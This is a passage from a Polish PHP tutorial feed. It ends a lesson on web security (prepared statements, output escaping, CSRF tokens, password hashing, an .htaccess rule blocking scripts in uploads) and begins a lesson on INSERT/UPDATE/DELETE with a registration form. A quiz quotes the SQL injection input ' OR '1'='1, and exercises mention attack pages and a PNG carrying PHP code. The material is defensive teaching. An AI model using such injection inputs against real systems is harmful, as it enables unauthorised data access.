<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">'rejestracja.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'uploads/avatary/.htaccess'</code> (razem <strong>23</strong> ścieżki). Reszta bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 2.2&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</details>



<h1 class="wp-block-heading">12. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystko z Lekcji 21: zadania w bazie, dodawanie, „Zrobione!” z XP i streakiem, usuwanie, ranking,
filtr widoku z cookie, komunikaty jednorazowe, avatar z walidacją pliku
sesja z samym uzytkownik_id, session_regenerate_id(true) przy logowaniu, wylogowanie tylko POST
wszystkie zapytania przez prepared statements (bez zmian — audyt w sekcji 3.3)
klasy Zadanie i Uzytkownik bez zmian (Uzytkownik nie zna hasha)
znajdzIdUzytkownika() — teraz używana przy rejestracji</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">baza: haslo_hash NOT NULL, hashe kont testowych (KamaQuest26, OlaQuest26)
includes/funkcje_sesji.php:
    pobierzTokenCsrf(): string
    sprawdzTokenCsrf(): bool
includes/funkcje_tekstowe.php:
    walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
includes/funkcje_bazy.php:
    pobierzDaneLogowania(mysqli, string $login): ?array
    dodajUzytkownika(mysqli, string $login, string $imieUzytkownika, string $hasloHash): int
rejestracja.php — zakładanie konta i automatyczne zalogowanie
uploads/avatary/.htaccess — bez wykonywania PHP i bez listy plików
klucz sesji 'token_csrf', ukryte pole token_csrf w 7 rodzajach formularzy, zmienna $tokenCsrf na stronach z formularzami
htmlspecialchars() przy wyświetlaniu tekstu spoza kodu</code></pre>



<p class="wp-block-paragraph">Nowe mechanizmy PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">random_bytes()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bin2hex()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">PASSWORD_DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="password"&gt;</code>; w brudnopisie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;query()</code> (tylko do pokazania ataku), <code class="prettyprint lang-sql" style="font-size: 0.85em;">md5()</code> (tylko do porównania), <code class="prettyprint lang-sql" style="font-size: 0.85em;">microtime()</code>. Poza PHP: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Options -Indexes</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">FilesMatch</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Require all denied</code>).</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code>: nowy parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">$haslo</code>, reguła „Podaj hasło.”,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>: pole hasła, <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>, wspólny komunikat, token, link do rejestracji,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>: sprawdzenie tokenu,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>, strony akcji: escapowanie,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 23 ścieżki, stopka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">2.2</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<ul class="wp-block-list">
<li>komunikat „Nie ma użytkownika o takim loginie.” — zdradzał, które loginy istnieją,</li>



<li>zdanie „Wersja demonstracyjna&#8230;” w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — logowanie nie jest już demonstracyjne,</li>



<li>zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — zastępuje ją <code class="prettyprint lang-sql" style="font-size: 0.85em;">$daneLogowania</code> (w <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> jest nowym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>),</li>



<li>konta bez hasła (<code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>).</li>
</ul>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 22 TaskQuest ma prawdziwe konta: gracz zakłada je sam, a logowanie wymaga hasła, które w bazie jest zapisane wyłącznie jako hash. Tekst wpisany przez graczy zawsze wyświetla się jako tekst, więc nie da się nim wstrzyknąć skryptu. Formularze wysłane z obcych stron są odrzucane, a w katalogu avatarów serwer nie wykona żadnego skryptu.</p>
</blockquote>



<h1 class="wp-block-heading">13. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Nie są częścią wersji referencyjnej.</p>



<p class="wp-block-paragraph"><strong>A. Zmiana hasła.</strong> Na <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> (albo na nowej stronie <code class="prettyprint lang-sql" style="font-size: 0.85em;">zmien-haslo.php</code>) formularz: obecne hasło, nowe hasło, powtórzone nowe hasło. Obecne hasło sprawdzasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>. Skąd weźmiesz hash, skoro w sesji masz tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (nowa funkcja bazy)? Reguły nowego hasła są takie same jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji()</code>. Jak ich nie powielić? Nowy hash zapisujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>em. Dlaczego warto po zmianie hasła wywołać <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code>? Jeśli formularz trafi na <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>, jak strona odróżni go od formularza avatara?</p>



<p class="wp-block-paragraph"><strong>B. Ciasteczko sesji niedostępne dla JavaScriptu.</strong> Przed <strong>każdym</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> (8 plików) dodaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_set_cookie_params(['httponly' =&gt; true, 'samesite' =&gt; 'Lax']);</code>. Sprawdzenie: w konsoli przeglądarki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">F12</code> → Konsola) polecenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">document.cookie</code> przed zmianą pokazuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>, a po zmianie już nie. Odpowiedz: czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">HttpOnly</code> zastępuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>? Czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite=Lax</code> zastępuje token CSRF? (Wskazówka: sekcja 5.1.) Czy 8 kopii tej samej linii to dobre rozwiązanie? Zaproponuj lepsze.</p>



<p class="wp-block-paragraph"><strong>C. Blokada po nieudanych próbach.</strong> Dodaj do <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">nieudane_logowania INT UNSIGNED NOT NULL DEFAULT 0</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">blokada_do DATETIME NULL</code>. Po 5 nieudanych próbach dla danego loginu logowanie na to konto jest zablokowane na 5 minut, a po udanym logowaniu licznik wraca do 0. Dlaczego licznik nie może być w sesji albo w ciasteczku? Jak atakujący może użyć tej blokady przeciwko <strong>innemu</strong> graczowi? Czy komunikat o blokadzie zdradza, że login istnieje?</p>



<p class="wp-block-paragraph"><strong>D. Nagłówki bezpieczeństwa.</strong> Na samej górze <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, przed HTML, wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('X-Frame-Options: DENY');</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('X-Content-Type-Options: nosniff');</code>. Sprawdź nagłówki w narzędziach przeglądarki (Sieć → wybierz żądanie → Nagłówki odpowiedzi). Utwórz na pulpicie plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">ramka.html</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;iframe src="http://localhost/taskquest/zaloguj.php"&gt;</code> i porównaj efekt przed zmianą i po niej. Opisz jednym zdaniem, przed jakim atakiem chroni pierwszy nagłówek.</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code> i (jeśli został) <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/test.php</code>. Pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak2.html</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">ramka.html</code> z pulpitu też usuń.</li>



<li>Sprawdź, że przywrócone są: kolejność <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars(skrocOpis(...))</code> (Eksperyment 1), brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code> (Eksperyment 2), sprawdzanie tokenu w <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> (Eksperyment 3), nazwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> (Test 8).</li>



<li>Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> i opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> z plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_...</code> (<strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> zostaje</strong>).</li>



<li>Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — wszystko <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię pokazać atak SQL injection na sklejonym zapytaniu i wyjaśnić, dlaczego prepared statement go blokuje.
&#91; ] Potrafię sprawdzić projekt pod kątem sklejanych zapytań.
&#91; ] Wiem, co robi htmlspecialchars() i które wartości w TaskQuest muszą przez nią przejść.
&#91; ] Wiem, dlaczego escapuję przy wyświetlaniu, a nie przed zapisem do bazy, i dlaczego na samym końcu.
&#91; ] Potrafię wyjaśnić, jak obca strona wysyła formularz w imieniu zalogowanego gracza.
&#91; ] Wiem, skąd bierze się token CSRF, gdzie jest przechowywany i dlaczego obca strona go nie zna.
&#91; ] Wiem, dlaczego do haseł nie używa się md5() i dlaczego dwa hashe tego samego hasła są różne.
&#91; ] Potrafię zapisać hasło przez password_hash() i sprawdzić je przez password_verify().
&#91; ] Wiem, dlaczego logowanie ma jeden wspólny komunikat błędu.
&#91; ] Wiem, co robi .htaccess w katalogu avatarów.
&#91; ] Usunęłam/usunąłem brudnopisy i pliki ataków.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li>Kolega pisze: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare("SELECT id FROM zadania WHERE tytul = '$tytul'");</code>. „Używam <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code>, więc jestem bezpieczny”. Czy ma rację? Co trzeba poprawić?<br /></li>



<li>Co dokładnie wyśle PHP do przeglądarki po <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars('&lt;a href="x"&gt;Klik&lt;/a&gt; &amp; więcej'); ?&gt;</code> i co zobaczy gracz?<br /></li>



<li>Termin zadania pochodzi z bazy, a formalnie nie wymaga escapowania. Dlaczego? Czy tak samo byłoby, gdyby kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code> była typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(20)</code>?<br /></li>



<li>Koleżanka escapuje tytuł przed zapisem do bazy <strong>i</strong> przy wyświetlaniu. Co zobaczy gracz, który doda zadanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tom &amp; Jerry</code>? Co będzie w bazie?<br /></li>



<li>Obca strona nie zna tokenu CSRF. A gdyby w TaskQuest była luka XSS, np. niezabezpieczony tytuł zadania? Czy token nadal by chronił? Uzasadnij.<br /></li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code> ktoś usunął warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">!isset($_SESSION['token_csrf'])</code>. Co zobaczy gracz, któremu wygasła sesja, gdy wyśle formularz logowania? Dlaczego lepiej, żeby funkcja zwróciła wtedy <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>?<br /></li>



<li>Baza TaskQuest wyciekła. Kama i Ola mają to samo hasło. Czy atakujący zauważy to, patrząc na kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>? A gdyby TaskQuest zapisywał <code class="prettyprint lang-sql" style="font-size: 0.85em;">md5($haslo)</code>?<br /></li>



<li><p>Znajdź co najmniej trzy błędy:</p><code class="prettyprint lang-sql" style="font-size: 0.85em;">$haslo = trim($_POST['haslo'] ?? '');<br />$dane = pobierzDaneLogowania($polaczenie, $login);<br />if ($dane['haslo_hash'] === password_hash($haslo, PASSWORD_DEFAULT)) {<br />    $_SESSION['uzytkownik_id'] = $dane['id'];<br />}<br /></code></li>



<li>Rejestracja pokazuje „Ten login jest już zajęty.”, więc i tak da się sprawdzić, czy login istnieje. Czy wspólny komunikat przy logowaniu ma w takim razie sens? Co jeszcze można zrobić, żeby utrudnić sprawdzanie loginów?<br /></li>



<li>Gracz wgrywa prawdziwy obrazek PNG z doklejonym na końcu kodem PHP. TaskQuest zapisuje go jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_3_1790000000.png</code>. Czy ten kod się wykona bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>? A z <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>? Po co więc ten plik?<br /></li>
</ol>
<p>Artykuł <a href="https://kamakaczmarek.net/php-bezpieczenstwo-aplikacji-webowych/">22. PHP – bezpieczeństwo aplikacji webowych</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>19. PHP – skrypty zmieniające dane w bazie danych &#8211; INSERT, UPDATE, DELETE</title>
		<link>https://kamakaczmarek.net/php-skrypty-zmieniajace-dane-w-bazie-danych/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sun, 19 May 2019 19:46:00 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2348</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 18: połączenie z bazą, SELECT, prepared statements, SQL injection. TaskQuest Dodatek W poprzednim materiale nauczyłeś się&#160;pobierać dane&#160;z bazy używając zapytań SELECT. Teraz czas na operacje, które&#160;zmieniają dane: Te operacje są&#160;fundamentem każdej aplikacji: UWAGA:&#160;Operacje zmieniające dane są&#160;nieodwracalne! Zawsze używaj&#160;prepared statements&#160;i&#160;walidacji danych. Będziemy pracować na bazie&#160;gaming_hub&#160;z poprzedniego materiału. Upewnij się, [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-skrypty-zmieniajace-dane-w-bazie-danych/">19. PHP – skrypty zmieniające dane w bazie danych &#8211; INSERT, UPDATE, DELETE</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 18: połączenie z bazą, <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>, prepared statements, SQL injection.</p>



<ol class="wp-block-list">
<li><p>To zapytanie nie zwraca żadnego wiersza, choć w tabeli są zadania bez daty wykonania. Dlaczego i jak je poprawić?<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul FROM zadania WHERE data_wykonania = NULL;<br /></code></p></li>



<li><p>Znajdź błąd:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare("SELECT id, login FROM uzytkownicy WHERE login = '?'");<br />$zapytanie-&gt;bind_param('s', $login);<br /></code></p></li>



<li><p>Zapytanie ma warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ? AND termin &lt; ? AND xp &gt;= ?</code> (kolumny kolejno: liczba, data, liczba). Jaki będzie pierwszy argument <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>?</p></li>



<li><p>Co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code>, gdy wiersze się skończyły? Czym różni się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code>?</p></li>



<li><p>Użytkownik wpisuje w pole wyszukiwania <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>. Co się stanie, gdy tekst zostanie wklejony do zapytania SQL, a co gdy trafi tam przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>?</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika($polaczenie, 99)</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Czy to awaria bazy? Uzasadnij.</p></li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi </strong></summary>
<ol class="wp-block-list">
<li>Porównanie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">=</code> nigdy nie daje prawdy — <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> znaczy „nie wiadomo”, więc warunek nie jest spełniony dla żadnego wiersza, a baza nie zgłasza błędu. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE data_wykonania IS NULL</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">'?'</code> w apostrofach to zwykły tekst, a nie parametr. Zapytanie nie ma żadnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> zgłosi błąd o niezgodnej liczbie parametrów. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE login = ?</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">'isi'</code> — kolejno: liczba całkowita, data (przekazywana jako tekst), liczba całkowita.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> zwraca kolejny wiersz jako tablicę asocjacyjną, a po ostatnim — <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code> to liczba wierszy w całym wyniku; niczego z niego nie pobiera.</li>



<li>Przy sklejaniu SQL tekst staje się częścią polecenia — warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code> jest zawsze prawdziwy i zapytanie zwraca wszystkich użytkowników (SQL injection). Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> to tylko dziwny login, którego nikt nie ma: 0 wierszy, bez błędu.</li>



<li>Nie. Zapytanie wykonało się poprawnie, po prostu żaden wiersz nie pasował. Awaria (np. brak bazy) to wyjątek <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_sql_exception</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</li>



<li>Przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> przekazujemy <strong>wartości</strong>, nie nazwy kolumn — nazwa trafiłaby tam jako tekst i nic by nie posortowała. Nazwę kolumny sprawdzamy białą listą dozwolonych nazw (whitelist).</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">W poprzednim materiale nauczyłeś się&nbsp;<strong>pobierać dane</strong>&nbsp;z bazy używając zapytań SELECT. Teraz czas na operacje, które&nbsp;<strong>zmieniają dane</strong>:</p>



<ul class="wp-block-list">
<li><strong>INSERT</strong>&nbsp;&#8211; dodawanie nowych rekordów (np. rejestracja gracza, dodanie posta)</li>



<li><strong>UPDATE</strong>&nbsp;&#8211; aktualizacja istniejących danych (np. zmiana poziomu, edycja profilu)</li>



<li><strong>DELETE</strong>&nbsp;&#8211; usuwanie rekordów (np. usunięcie konta, skasowanie komentarza)</li>
</ul>



<p class="wp-block-paragraph">Te operacje są&nbsp;<strong>fundamentem każdej aplikacji</strong>:</p>



<ul class="wp-block-list">
<li>Rejestracja użytkownika → INSERT</li>



<li>Aktualizacja avatara → UPDATE</li>



<li>Usunięcie spamu → DELETE</li>



<li>System komentarzy → INSERT + UPDATE + DELETE</li>
</ul>



<p class="wp-block-paragraph"><strong>UWAGA:</strong>&nbsp;Operacje zmieniające dane są&nbsp;<strong>nieodwracalne</strong>! Zawsze używaj&nbsp;<strong>prepared statements</strong>&nbsp;i&nbsp;<strong>walidacji danych</strong>.</p>



<p class="wp-block-paragraph">Będziemy pracować na bazie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">gaming_hub</code>&nbsp;z poprzedniego materiału. Upewnij się, że masz utworzoną tabelę&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">players</code></p>



<p class="wp-block-paragraph"><strong>UWAGA: </strong>Przedstawione poniżej przykłady<strong> nie są zabezpieczone przed odświeżaniem strony </strong>(F5) lub ponownym kliknięciem przycisku zmieniającego dane. Każde odświeżenie strony będzie powodowało ponowne wykonanie operacji na bazie. Jak to zrobić opiszę na końcu materiału.</p>



<h2 class="wp-block-heading">INSERT &#8211; Dodawanie nowych rekordów</h2>



<h3 class="wp-block-heading">Przykład 1: Rejestracja gracza (formularz POST)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

$errors = &#91;];
$success = false;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Pobieramy i czyszczenie dane z formularza
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    $password_confirm = $_POST&#91;'password_confirm'] ?? '';
    
    // Walidacja danych
    if (empty($username)) {
        $errors&#91;] = "Nick jest wymagany";
    } elseif (strlen($username) &lt; 3) {
        $errors&#91;] = "Nick musi mieć minimum 3 znaki";
    } elseif (strlen($username) &gt; 50) {
        $errors&#91;] = "Nick może mieć maksymalnie 50 znaków";
    } elseif (!preg_match('/^&#91;a-zA-Z0-9_]+$/', $username)) {
        $errors&#91;] = "Nick może zawierać tylko litery, cyfry i podkreślnik";
    }
    
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors&#91;] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors&#91;] = "Hasło jest wymagane";
    } elseif (strlen($password) &lt; 8) {
        $errors&#91;] = "Hasło musi mieć minimum 8 znaków";
    }
    
    if ($password !== $password_confirm) {
        $errors&#91;] = "Hasła nie są identyczne";
    }
    
    // Jeśli brak błędów walidacji - sprawdzamy czy nick/email już istnieją
    if (empty($errors)) {
        // BEZPIECZNE - sprawdzamy czy username już istnieje
        $stmt = $db-&gt;prepare("SELECT id FROM players WHERE username = ?");
        $stmt-&gt;bind_param("s", $username);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Nick '{$username}' jest już zajęty";
        }
        $stmt-&gt;close();
        
        // BEZPIECZNE - sprawdzamy czy email już istnieje
        $stmt = $db-&gt;prepare("SELECT id FROM players WHERE email = ?");
        $stmt-&gt;bind_param("s", $email);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Email '{$email}' jest już zarejestrowany";
        }
        $stmt-&gt;close();
    }
    
    // Jeśli wszystko OK - dodajemy gracza do bazy
    if (empty($errors)) {
        // Hashowanie hasła (NIGDY nie zapisuj hasła w plain text!)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // BEZPIECZNE - INSERT z prepared statement
        $stmt = $db-&gt;prepare("INSERT INTO players (username, email, password, created_at) VALUES (?, ?, ?, NOW())");
        $stmt-&gt;bind_param("sss", $username, $email, $password_hash);
        
        if ($stmt-&gt;execute()) {
            // Pobieramy ID dodanego gracza
            $new_player_id = $stmt-&gt;insert_id;
            
            // Sprawdzamy ile wierszy zostało dodanych
            $affected_rows = $stmt-&gt;affected_rows;
            
            $success = true;
            $success_message = "Gracz '{$username}' został zarejestrowany! ID: {$new_player_id}";
            
            // Możemy od razu zalogować użytkownika
            // session_start();
            // $_SESSION&#91;'user_id'] = $new_player_id;
            // $_SESSION&#91;'username'] = $username;
            
        } else {
            $errors&#91;] = "Wystąpił błąd podczas rejestracji: {$stmt-&gt;error}";
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja gracza&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 500px;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
